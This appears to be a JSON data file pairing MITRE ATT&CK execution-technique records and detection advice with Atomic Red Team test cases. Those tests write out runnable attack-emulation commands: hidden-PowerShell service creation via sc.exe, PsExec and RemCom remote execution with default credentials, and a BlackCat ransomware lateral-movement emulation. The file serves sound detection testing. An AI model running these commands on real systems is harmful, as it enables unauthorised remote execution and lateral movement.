"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", - "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", - "source_name": "NVisio Labs DDE Detection Oct 2017" - } - ], - "modified": "2022-02-09T20:22:43.284Z", - "name": "Dynamic Data Exchange", - "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1204.001": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", - "type": "attack-pattern", - "created": "2020-03-11T14:43:31.706Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1204.001", - "url": "https://attack.mitre.org/techniques/T1204/001" - } - ], - "modified": "2020-03-11T14:43:31.706Z", - "name": "Malicious Link", - "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Connection Creation", - "File: File Creation", - "Network Traffic: Network Traffic Content" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1569.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", - "type": "attack-pattern", - "created": "2020-03-10T18:33:36.159Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1569.002", - "url": "https://attack.mitre.org/techniques/T1569/002" - }, - { - "source_name": "Microsoft Service Control Manager", - "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager", - "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020." - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", - "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", - "source_name": "Russinovich Sysinternals" - } - ], - "modified": "2021-08-30T17:42:40.945Z", - "name": "System Services: Service Execution", - "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Service: Service Creation", - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_remote_support": true, - "identifier": "T1569.002" - }, - "atomic_tests": [ - { - "name": "Execute a Command as a Service", - "auto_generated_guid": "2382dee2-a75f-49aa-9378-f52df6ed3fb1", - "description": "Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.\n\nUpon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`\n\n[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware) \n[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_name": { - "description": "Name of service to create", - "type": "string", - "default": "ARTService" - }, - "executable_command": { - "description": "Command to execute as a service", - "type": "string", - "default": "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\\art-marker.txt" - } - }, - "executor": { - "command": "sc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc.exe start #{service_name}\nsc.exe delete #{service_name}\n", - "cleanup_command": "del C:\\art-marker.txt >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Use PsExec to execute a command on a remote host", - "auto_generated_guid": "873106b7-cfed-454b-8680-fa9f6400431c", - "description": "Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments\nWill start a process on a remote host.\n\nUpon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_host": { - "description": "Remote hostname or IP address", - "type": "string", - "default": "localhost" - }, - "user_name": { - "description": "Username", - "type": "string", - "default": "DOMAIN\\Administrator" - }, - "password": { - "description": "Password", - "type": "string", - "default": "P@ssw0rd1" - }, - "psexec_exe": { - "description": "Path to PsExec", - "type": "string", - "default": "C:\\PSTools\\PsExec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n", - "prereq_command": "if (Test-Path \"#{psexec_exe}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_exe}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_exe}\" -Force\n" - } - ], - "executor": { - "command": "#{psexec_exe} \\\\#{remote_host} -u #{user_name} -p #{password} -accepteula \"C:\\Windows\\System32\\calc.exe\"\n", - "name": "command_prompt" - } - }, - { - "name": "BlackCat pre-encryption cmds with Lateral Movement", - "auto_generated_guid": "31eb7828-97d7-4067-9c1e-c6feb85edc4b", - "description": "This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "targethost": { - "description": "Target hostname to attempt psexec connection to for emulation of lateral movement.", - "type": "string", - "default": "$ENV:COMPUTERNAME" - } - }, - "executor": { - "command": "cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f \ncopy $pathtoatomicsfolder\\T1569.002\\bin\\PsExec.exe $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe -accepteula \\\\#{targethost} cmd.exe /c echo \"--access-token\"\"\n", - "cleanup_command": "reg delete HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /f\ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2L:0\" \ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2R:0\"\nrm $env:temp\\psexec.exe\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Use RemCom to execute a command on a remote host", - "auto_generated_guid": "a5d8cdeb-be90-43a9-8b26-cc618deac1e0", - "description": "Requires having RemCom installed, path to RemCom is one of the input input_arguments\nWill start a process on a remote host.\nUpon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_host": { - "description": "Remote hostname or IP address", - "type": "string", - "default": "localhost" - }, - "user_name": { - "description": "Username", - "type": "string", - "default": "Administrator" - }, - "password": { - "description": "Password", - "type": "string", - "default": "P@ssw0rd1" - }, - "remcom_exe": { - "description": "Path to RemCom", - "type": "string", - "default": "$pathtoatomicsfolder\\T1569.002\\bin\\remcom.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "RemCom tool must exist on disk at specified location (#{remcom_exe})\n", - "prereq_command": "if (Test-Path \"#{remcom_exe}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe\" -OutFile \"#{remcom_exe}\"\n" - } - ], - "executor": { - "command": "\"#{remcom_exe}\" \\\\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe\n", - "name": "command_prompt" - } - } - ] - }, - "T1053.002": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "created": "2019-11-27T13:52:45.853Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.002", - "url": "https://attack.mitre.org/techniques/T1053/002" - }, - { - "source_name": "rowland linux at 2019", - "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", - "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021." - }, - { - "source_name": "GTFObins at", - "url": "https://gtfobins.github.io/gtfobins/at/", - "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021." - }, - { - "source_name": "Linux at", - "url": "https://man7.org/linux/man-pages/man1/at.1p.html", - "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022." - }, - { - "source_name": "Twitter Leoloobeek Scheduled Task", - "url": "https://twitter.com/leoloobeek/status/939248813465853953", - "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017." - }, - { - "source_name": "Microsoft Scheduled Task Events Win10", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019." - }, - { - "source_name": "TechNet Scheduled Task Events", - "url": "https://technet.microsoft.com/library/dd315590.aspx", - "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "TechNet Forum Scheduled Task Operational Setting", - "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "modified": "2022-04-18T20:12:04.110Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job: At", - "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1053.002" - }, - "atomic_tests": [ - { - "name": "At.exe Scheduled task", - "auto_generated_guid": "4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8", - "description": "Executes cmd.exe\nNote: deprecated in Windows 8+\n\nUpon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "at 13:20 /interactive cmd\n" - } - } - ] - }, - "T1035": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", - "type": "attack-pattern", - "created": "2017-05-31T21:30:36.550Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1035", - "external_id": "T1035" - } - ], - "modified": "2020-03-10T18:34:39.665Z", - "name": "Service Execution", - "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1086": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "type": "attack-pattern", - "created": "2017-05-31T21:31:06.512Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1086", - "url": "https://attack.mitre.org/techniques/T1086" - }, - { - "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", - "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", - "source_name": "TechNet PowerShell" - }, - { - "url": "https://github.com/mattifestation/PowerSploit", - "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", - "source_name": "Powersploit" - }, - { - "url": "https://github.com/jaredhaight/PSAttack", - "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", - "source_name": "Github PSAttack" - }, - { - "source_name": "Sixdub PowerPick Jan 2016", - "url": "http://www.sixdub.net/?p=367", - "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018." - }, - { - "source_name": "SilentBreak Offensive PS Dec 2015", - "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", - "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018." - }, - { - "source_name": "Microsoft PSfromCsharp APR 2014", - "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", - "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019." - }, - { - "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", - "source_name": "Malware Archaeology PowerShell Cheat Sheet" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", - "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", - "source_name": "FireEye PowerShell Logging 2016" - } - ], - "modified": "2020-03-09T13:51:06.334Z", - "name": "PowerShell", - "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1118": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", - "type": "attack-pattern", - "created": "2017-05-31T21:31:27.510Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "external_id": "T1118", - "url": "https://attack.mitre.org/techniques/T1118", - "source_name": "mitre-attack" - }, - { - "source_name": "MSDN InstallUtil", - "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx" - }, - { - "source_name": "LOLBAS Installutil", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", - "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019." - } - ], - "modified": "2020-01-31T18:59:38.256Z", - "name": "InstallUtil", - "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - } - } - } -] \ No newline at end of file